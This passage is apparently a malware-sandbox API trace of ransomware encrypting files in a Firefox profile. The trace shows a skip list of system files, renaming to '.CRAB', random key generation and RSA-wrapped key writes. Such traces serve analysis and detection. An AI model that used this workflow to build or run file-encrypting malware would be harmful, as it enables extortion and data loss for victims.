	[0120.022] lstrcmpW (lpString1="bookmarks-2017-05-24_14_kL0o5I+exwq3TXuLDkMF9w==.jsonlz4", lpString2="..") returned 1
	[0120.022] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\bookmarkbackups\\", lpString2="bookmarks-2017-05-24_14_kL0o5I+exwq3TXuLDkMF9w==.jsonlz4" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\bookmarkbackups\\bookmarks-2017-05-24_14_kL0o5I+exwq3TXuLDkMF9w==.jsonlz4") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\bookmarkbackups\\bookmarks-2017-05-24_14_kL0o5I+exwq3TXuLDkMF9w==.jsonlz4"
	[0120.022] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0120.023] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\bookmarkbackups\\bookmarks-2017-05-24_14_kL0o5I+exwq3TXuLDkMF9w==.jsonlz4") returned 152
	[0120.023] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\bookmarkbackups\\bookmarks-2017-05-24_14_kL0o5I+exwq3TXuLDkMF9w==.jsonlz4") returned 152
	[0120.023] lstrlenW (lpString=".jsonlz4") returned 8
	[0120.023] VirtualAlloc (lpAddress=0x0, dwSize=0x14, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0120.023] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".jsonlz4 ") returned 9
	[0120.023] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.024] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\bookmarkbackups\\bookmarks-2017-05-24_14_kL0o5I+exwq3TXuLDkMF9w==.jsonlz4") returned 152
	[0120.024] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\bookmarkbackups\\bookmarks-2017-05-24_14_kL0o5I+exwq3TXuLDkMF9w==.jsonlz4") returned 152
	[0120.024] lstrcmpiW (lpString1="bookmarks-2017-05-24_14_kL0o5I+exwq3TXuLDkMF9w==.jsonlz4", lpString2="desktop.ini") returned -1
	[0120.024] lstrcmpiW (lpString1="bookmarks-2017-05-24_14_kL0o5I+exwq3TXuLDkMF9w==.jsonlz4", lpString2="autorun.inf") returned 1
	[0120.024] lstrcmpiW (lpString1="bookmarks-2017-05-24_14_kL0o5I+exwq3TXuLDkMF9w==.jsonlz4", lpString2="ntuser.dat") returned -1
	[0120.024] lstrcmpiW (lpString1="bookmarks-2017-05-24_14_kL0o5I+exwq3TXuLDkMF9w==.jsonlz4", lpString2="iconcache.db") returned -1
	[0120.024] lstrcmpiW (lpString1="bookmarks-2017-05-24_14_kL0o5I+exwq3TXuLDkMF9w==.jsonlz4", lpString2="bootsect.bak") returned -1
	[0120.024] lstrcmpiW (lpString1="bookmarks-2017-05-24_14_kL0o5I+exwq3TXuLDkMF9w==.jsonlz4", lpString2="boot.ini") returned -1
	[0120.024] lstrcmpiW (lpString1="bookmarks-2017-05-24_14_kL0o5I+exwq3TXuLDkMF9w==.jsonlz4", lpString2="ntuser.dat.log") returned -1
	[0120.024] lstrcmpiW (lpString1="bookmarks-2017-05-24_14_kL0o5I+exwq3TXuLDkMF9w==.jsonlz4", lpString2="thumbs.db") returned -1
	[0120.024] lstrcmpiW (lpString1="bookmarks-2017-05-24_14_kL0o5I+exwq3TXuLDkMF9w==.jsonlz4", lpString2="CRAB-DECRYPT.txt") returned -1
	[0120.024] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0120.024] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\bookmarkbackups\\bookmarks-2017-05-24_14_kL0o5I+exwq3TXuLDkMF9w==.jsonlz4.CRAB") returned 157
	[0120.024] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\bookmarkbackups\\bookmarks-2017-05-24_14_kL0o5I+exwq3TXuLDkMF9w==.jsonlz4" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\bookmarkbackups\\bookmarks-2017-05-24_14_kl0o5i+exwq3txuldkmf9w==.jsonlz4")) returned 0x20
	[0120.027] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\bookmarkbackups\\bookmarks-2017-05-24_14_kL0o5I+exwq3TXuLDkMF9w==.jsonlz4", dwFileAttributes=0x20) returned 1
	[0120.028] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\bookmarkbackups\\bookmarks-2017-05-24_14_kL0o5I+exwq3TXuLDkMF9w==.jsonlz4" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\bookmarkbackups\\bookmarks-2017-05-24_14_kl0o5i+exwq3txuldkmf9w==.jsonlz4"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\bookmarkbackups\\bookmarks-2017-05-24_14_kL0o5I+exwq3TXuLDkMF9w==.jsonlz4.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\bookmarkbackups\\bookmarks-2017-05-24_14_kl0o5i+exwq3txuldkmf9w==.jsonlz4.crab")) returned 1
	[0120.029] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0120.029] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\bookmarkbackups\\bookmarks-2017-05-24_14_kL0o5I+exwq3TXuLDkMF9w==.jsonlz4.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\bookmarkbackups\\bookmarks-2017-05-24_14_kL0o5I+exwq3TXuLDkMF9w==.jsonlz4.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\bookmarkbackups\\bookmarks-2017-05-24_14_kL0o5I+exwq3TXuLDkMF9w==.jsonlz4.CRAB"
	[0120.030] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\bookmarkbackups\\bookmarks-2017-05-24_14_kL0o5I+exwq3TXuLDkMF9w==.jsonlz4.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\bookmarkbackups\\bookmarks-2017-05-24_14_kL0o5I+exwq3TXuLDkMF9w==.jsonlz4.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\bookmarkbackups\\bookmarks-2017-05-24_14_kL0o5I+exwq3TXuLDkMF9w==.jsonlz4.CRAB.CRAB"
	[0120.030] CryptAcquireContextW (in: phProv=0x31492e8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x31492e8*=0xd6e408) returned 1
	[0120.030] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0120.031] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0120.031] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0120.031] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x3149424 | out: pbBuffer=0x3149424) returned 1
	[0120.031] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0120.031] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.031] CryptAcquireContextW (in: phProv=0x31492e8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x31492e8*=0xd6ed98) returned 1
	[0120.032] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0120.032] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0120.032] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0120.032] CryptGenRandom (in: hProv=0xd6ed98, dwLen=0x20, pbBuffer=0x3149400 | out: pbBuffer=0x3149400) returned 1
	[0120.032] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0120.032] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.033] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0120.033] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0120.033] CryptAcquireContextW (in: phProv=0x31492d8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x31492d8*=0xd6ed98) returned 1
	[0120.034] CryptImportKey (in: hProv=0xd6ed98, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x31492d4 | out: phKey=0x31492d4*=0xded568) returned 1
	[0120.035] CryptGetKeyParam (in: hKey=0xded568, dwParam=0x8, pbData=0x31492c4, pdwDataLen=0x31492cc, dwFlags=0x0 | out: pbData=0x31492c4*=0x800, pdwDataLen=0x31492cc*=0x4) returned 1
	[0120.035] CryptEncrypt (in: hKey=0xded568, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x3149434*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x3149434*=0x100) returned 1
	[0120.035] GetLastError () returned 0x0
	[0120.035] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0120.035] CryptAcquireContextW (in: phProv=0x31492d8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x31492d8*=0xd6e6b0) returned 1
	[0120.036] CryptImportKey (in: hProv=0xd6e6b0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x31492d4 | out: phKey=0x31492d4*=0xded5e8) returned 1
	[0120.036] CryptGetKeyParam (in: hKey=0xded5e8, dwParam=0x8, pbData=0x31492c4, pdwDataLen=0x31492cc, dwFlags=0x0 | out: pbData=0x31492c4*=0x800, pdwDataLen=0x31492cc*=0x4) returned 1
	[0120.036] CryptEncrypt (in: hKey=0xded5e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3149438*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3149438*=0x100) returned 1
	[0120.036] GetLastError () returned 0x0
	[0120.036] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0120.036] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\bookmarkbackups\\bookmarks-2017-05-24_14_kL0o5I+exwq3TXuLDkMF9w==.jsonlz4.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\bookmarkbackups\\bookmarks-2017-05-24_14_kl0o5i+exwq3txuldkmf9w==.jsonlz4.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d8
	[0120.037] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0120.037] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0120.038] ReadFile (in: hFile=0x3d8, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314947c, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314947c*=0x559, lpOverlapped=0x0) returned 1
	[0120.055] VirtualAlloc (lpAddress=0x0, dwSize=0x560, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0120.056] VirtualAlloc (lpAddress=0x0, dwSize=0x560, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000
	[0120.056] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.056] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0xfffffaa7, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.056] WriteFile (in: hFile=0x3d8, lpBuffer=0x3020000*, nNumberOfBytesToWrite=0x560, lpNumberOfBytesWritten=0x314946c, lpOverlapped=0x0 | out: lpBuffer=0x3020000*, lpNumberOfBytesWritten=0x314946c*=0x560, lpOverlapped=0x0) returned 1
	[0120.057] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.057] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.061] WriteFile (in: hFile=0x3d8, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314946c, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x314946c*=0x100, lpOverlapped=0x0) returned 1
	[0120.061] WriteFile (in: hFile=0x3d8, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314946c, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314946c*=0x100, lpOverlapped=0x0) returned 1
	[0120.061] WriteFile (in: hFile=0x3d8, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314946c, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x314946c*=0x8, lpOverlapped=0x0) returned 1
	[0120.061] CloseHandle (hObject=0x3d8) returned 1
	[0120.062] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.062] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.063] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.063] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.063] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.063] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.064] FindNextFileW (in: hFindFile=0xded328, lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 1
	[0120.064] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0120.064] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0120.064] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\bookmarkbackups\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\bookmarkbackups\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\bookmarkbackups\\CRAB-DECRYPT.txt"
	[0120.064] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0120.064] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\bookmarkbackups\\CRAB-DECRYPT.txt") returned 112
	[0120.064] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\bookmarkbackups\\CRAB-DECRYPT.txt") returned 112
	[0120.064] lstrlenW (lpString=".txt") returned 4
	[0120.064] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0120.065] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0120.065] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.065] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\bookmarkbackups\\CRAB-DECRYPT.txt") returned 112
	[0120.065] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\bookmarkbackups\\CRAB-DECRYPT.txt") returned 112
	[0120.065] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0120.065] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0120.065] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0120.065] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0120.065] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0120.065] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0120.065] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0120.065] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0120.065] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0120.065] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.066] FindNextFileW (in: hFindFile=0xded328, lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 0
	[0120.066] FindClose (in: hFindFile=0xded328 | out: hFindFile=0xded328) returned 1
	[0120.066] FindNextFileW (in: hFindFile=0xded3e8, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0120.066] lstrcmpW (lpString1="cert8.db", lpString2=".") returned 1
	[0120.066] lstrcmpW (lpString1="cert8.db", lpString2="..") returned 1
	[0120.066] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="cert8.db" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\cert8.db") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\cert8.db"
	[0120.066] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0120.067] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\cert8.db") returned 88
	[0120.067] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\cert8.db") returned 88
	[0120.067] lstrlenW (lpString=".db") returned 3
	[0120.067] VirtualAlloc (lpAddress=0x0, dwSize=0xa, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0120.067] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".db ") returned 4
	[0120.067] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.067] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\cert8.db") returned 88
	[0120.067] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\cert8.db") returned 88
	[0120.068] lstrcmpiW (lpString1="cert8.db", lpString2="desktop.ini") returned -1
	[0120.068] lstrcmpiW (lpString1="cert8.db", lpString2="autorun.inf") returned 1
	[0120.068] lstrcmpiW (lpString1="cert8.db", lpString2="ntuser.dat") returned -1
	[0120.068] lstrcmpiW (lpString1="cert8.db", lpString2="iconcache.db") returned -1
	[0120.068] lstrcmpiW (lpString1="cert8.db", lpString2="bootsect.bak") returned 1
	[0120.068] lstrcmpiW (lpString1="cert8.db", lpString2="boot.ini") returned 1
	[0120.068] lstrcmpiW (lpString1="cert8.db", lpString2="ntuser.dat.log") returned -1
	[0120.068] lstrcmpiW (lpString1="cert8.db", lpString2="thumbs.db") returned -1
	[0120.068] lstrcmpiW (lpString1="cert8.db", lpString2="CRAB-DECRYPT.txt") returned -1
	[0120.068] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0120.068] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\cert8.db.CRAB") returned 93
	[0120.068] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\cert8.db" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\cert8.db")) returned 0x20
	[0120.069] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\cert8.db", dwFileAttributes=0x20) returned 1
	[0120.069] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\cert8.db" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\cert8.db"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\cert8.db.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\cert8.db.crab")) returned 1
	[0120.070] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0120.071] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\cert8.db.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\cert8.db.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\cert8.db.CRAB"
	[0120.071] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\cert8.db.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\cert8.db.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\cert8.db.CRAB.CRAB"
	[0120.071] CryptAcquireContextW (in: phProv=0x3149d90, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d90*=0xd6eb78) returned 1
	[0120.071] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0120.072] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0120.072] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0120.072] CryptGenRandom (in: hProv=0xd6eb78, dwLen=0x10, pbBuffer=0x3149ecc | out: pbBuffer=0x3149ecc) returned 1
	[0120.072] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0120.072] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.072] CryptAcquireContextW (in: phProv=0x3149d90, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d90*=0xd6e408) returned 1
	[0120.073] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0120.073] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0120.074] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0120.074] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x3149ea8 | out: pbBuffer=0x3149ea8) returned 1
	[0120.074] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0120.074] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.074] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0120.074] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0120.075] CryptAcquireContextW (in: phProv=0x3149d80, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d80*=0xd6e408) returned 1
	[0120.075] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3149d7c | out: phKey=0x3149d7c*=0xded628) returned 1
	[0120.075] CryptGetKeyParam (in: hKey=0xded628, dwParam=0x8, pbData=0x3149d6c, pdwDataLen=0x3149d74, dwFlags=0x0 | out: pbData=0x3149d6c*=0x800, pdwDataLen=0x3149d74*=0x4) returned 1
	[0120.075] CryptEncrypt (in: hKey=0xded628, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x3149edc*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x3149edc*=0x100) returned 1
	[0120.076] GetLastError () returned 0x0
	[0120.076] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0120.076] CryptAcquireContextW (in: phProv=0x3149d80, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d80*=0xd6ed98) returned 1
	[0120.076] CryptImportKey (in: hProv=0xd6ed98, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3149d7c | out: phKey=0x3149d7c*=0xded328) returned 1
	[0120.076] CryptGetKeyParam (in: hKey=0xded328, dwParam=0x8, pbData=0x3149d6c, pdwDataLen=0x3149d74, dwFlags=0x0 | out: pbData=0x3149d6c*=0x800, pdwDataLen=0x3149d74*=0x4) returned 1
	[0120.076] CryptEncrypt (in: hKey=0xded328, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3149ee0*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3149ee0*=0x100) returned 1
	[0120.077] GetLastError () returned 0x0
	[0120.077] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
